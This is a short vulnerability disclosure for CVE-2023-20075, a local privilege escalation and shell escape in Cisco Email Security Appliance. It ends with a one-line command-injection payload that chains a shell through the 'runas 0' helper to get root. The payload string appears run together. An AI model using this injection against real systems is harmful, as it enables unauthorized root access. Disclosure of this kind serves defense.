
Cisco Email Security Appliance: Local Privilege Escalation and Shell Escape
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Local Privilege Escalation and Shell Escape
CVE: CVE-2023-20075
Timeline:
ESA (Cisco Secure Email)
A authenticated user with access to the cli can escalate privileges to root and execute arbitrary code
logcollector36;/bin/sh/data/release/phoebe-14*/bin/runas 0 /bin/sh